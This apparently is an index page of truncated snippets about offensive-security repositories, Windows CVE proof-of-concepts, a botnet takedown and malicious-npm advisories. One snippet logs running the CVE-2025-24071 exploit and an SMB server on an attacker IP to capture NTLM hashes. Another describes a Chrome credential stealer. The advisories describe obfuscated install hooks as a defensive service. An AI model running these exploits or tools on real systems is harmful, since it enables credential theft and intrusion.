PKCS11SSHAgent

SRO PKCS11 – SSH Agent CNG توحيد سيادي PKCS11 + SSH-agent + Pageant + CNG/Smartcard ملف تنفيذي واحد لنظام Windows يوحّد أربع وظائف كانت منفصلة تقليديًا: وحدة PKCS11 كاملة Firefox, OpenSC, ssh -I وكيل SSH متوافق مع OpenSSH/Git/VS/WSL خادم Pageant متوافق مع PuTTY/plink/pscp منسق CNG/KSP آمن للبطاقا...

RawrXDA

RawrXD PE Writer - تنفيذ كامل نظرة عامة هذا كاتب PE32+ كامل وباعث كود آلة مطبق بلغة تجميع MASM النقية x64 بدون تبعيات وبدون استخدام CRT. يقوم بإنشاء ملفات ويندوز قابلة للتنفيذ من الصفر. المعمارية يتبع كاتب PE نهج مصمم الواجهة الخلفية، مقدماً واجهة برمجة نظيفة لـ: إنشاء سياقات PE القابلة للتنفيذ...

kalici-dosya-silme-araci

أداة حذف الملفات بشكل دائم & Kalıcı Dosya Silme Aracı هذا المشروع عبارة عن أداة بسيطة تسمح للمستخدمين بحذف الملفات المحددة بشكل دائم. يقوم البرنامج بكتابة بيانات عشوائية فوق الملف المحدد، وتغيير محتوى الملف، ثم حذفه، مما يزيل أي آثار للملف من القرص بشكل فعال. الميزات يوفر واجهة سهلة الاستخدام. يس...

PS2EXE

Dépôt libre d'IA - l'intelligence artificielle tue la créativité et notre nature ! PS2EXE Surcharge du grand script d'Ingo Karstein avec support GUI. La sortie et l'entrée GUI sont activées avec un seul interrupteur, de véritables exécutables Windows sont générés. Compile uniquement les scripts...

Exe2Image

Exe2Image أداة بسيطة لتحويل ملفات EXE إلى صور PNG والعكس. تحميل: https://github.com/OsandaMalith/Exe2Image/releases لقطات الشاشة تحويل Putty.exe إلى صورة...

aDLL

aDLL - مغامرة مكتبة الارتباط الديناميكي Adventure of Dynamic Link Library aDLL هي أداة تحليل ثنائي تركز على الاكتشاف التلقائي لثغرات اختطاف DLL. تقوم الأداة بتحليل صورة الملف القابل للتنفيذ المحملة في الذاكرة للبحث عن ملفات DLL المحملة وقت التحميل، وتستخدم مكتبة Microsoft Detours لاعتراض...

CVE-2025-24071-POC

CVE-2025-24071 - Preuve de concept PoC Description Ce dépôt contient une preuve de concept PoC pour la CVE-2025-24071, une vulnérabilité de fuite de hachage NTLM dans l'Explorateur de fichiers Windows. Cette vulnérabilité permet à un attaquant de voler des hachages NTLM en exploitant la manière...

chromepass

Chromepass - اختراق كلمات المرور وملفات تعريف الارتباط المحفوظة في Chrome عرض توضيحي · الإبلاغ عن خطأ · طلب ميزة جدول المحتويات حول المشروع اكتشاف برامج مكافحة الفيروسات بدء الاستخدام المتطلبات التثبيت الاستخدام البريد الإلكتروني الأخطاء والثغرات وطلبات الميزات تعلم المزيد الترخيص العرض التوضيحي...

VSSCopy

VSSCopy PoC صغير وقذر لـ CVE-2021-36934 الاستخدام: VSSCopy.exe C:\temp الاعتمادات: https://twitter.com/jonasLyk https://twitter.com/gentilkiwi...

CVE-2021-1732_exp

CVE-2021-1732-استغلال CVE-2021-1732 استغلال "لا تستخدمه لأي أنشطة غير قانونية، وإلا ستتحمل العواقب!" استخدام EXP CVE-2021-1732exploit.exe whoami المصدر: https://bbs.pediy.com/thread-266362.htm...

CVE-2025-24071-POC

sudo apt update sudo apt install wine wine CVE-2025-24071-POC.exe -i 10.10.14.8 -n try ZIP creado: try.zip impacket-smbserver: smbserver.py try /root/smbshare -smb2support -ip 10.10.14.8 -debug Impacket Exegol fork v0.13.0.dev0+20250723.125503.b5db2dd7 - Copyright Fortra, LLC and its affiliated...

Authorities Turn Sality's P2P Network Against Itself, Cutting Off New Malware Payloads

The U.S. Department of Justice DoJ on Tuesday announced the takedown of a long-standing peer-to-peer P2P botnet known as Sality as part of a coordinated law enforcement operation. The effort was undertaken on August 31, 2026, by authorities from the U.S., Bulgaria, Hungary, and Romania, in...

Malicious code in commandor-core (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 3532b684cf99d23e6ab89c60fef9f2af5b1bfe36f4d793fcaf6bcf3f718903ab The postinstall script in [email protected] scripts/postinstall.js contains XOR-obfuscated byte arrays that decode at runtime unpackSegment with k...

Malicious code in @ghost_debugger/nanocache (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector c027fa29f4577bd052bfda553a617994365ea5855216b877e900610542f4bcce On require/import, the package spawns a bundled 1.1 MB Windows executable at vendor/nanocache.exe as a detached background process with stdio ignored...

MAL-2026-14046 Malicious code in @ghost_debugger/nanocache (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector c027fa29f4577bd052bfda553a617994365ea5855216b877e900610542f4bcce On require/import, the package spawns a bundled 1.1 MB Windows executable at vendor/nanocache.exe as a detached background process with stdio ignored...

MAL-2026-13630 Malicious code in @rbx-ts/services (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 9476bbe7c2ce12348142e93deffe53c9d4d6dfef3400030af81cff902bac5935 This package impersonates the @rbxts/services Roblox typings library and re-exports its public API in index.js as cover. Its postinstall script...

Malicious code in dolyame-boxy-independent-bnpl-main-title (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 7fd169fe81bc68427ce8c3b472cb376e6d3fdad489d07595a8c8f08f894ac154 On require, index.js loads polyfill.js which reconstructs hostnames from split string fragments e.g., 'oob-worker.cf99-9b3.wor'+'ke'+'rs.dev' to reac...

MAL-2026-13353 Malicious code in stellarfixer (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector bd3a96aa989ed6cadd106e8e7d04317ea30f83434a40eabc307578cb0690b78f On npm install, the package's postinstall script unconditionally executes a bundled Windows PE at bin/stellarfn.exe via execFileSync. The binary is...

Malicious code in beaver-ui-smart-filter (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector a9aeae07ad8c21acdd73d30a24723d30ef468f03a3412e21ea4bf726f27c2f12 The package is advertised as a React UI filter component but on require of index.js loads adapter.js, which assembles remote hostnames from split...

MAL-2026-12547 Malicious code in checkout-checkout-test-block-aff (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector ae29db4ecd6fc6c7250d5b388eb957c9b0d1ec2b8a8966928c3da7c31aa4bf87 On require of the main entry, index.js loads loader.js which downloads a platform-specific executable from hardcoded Cloudflare Workers hosts...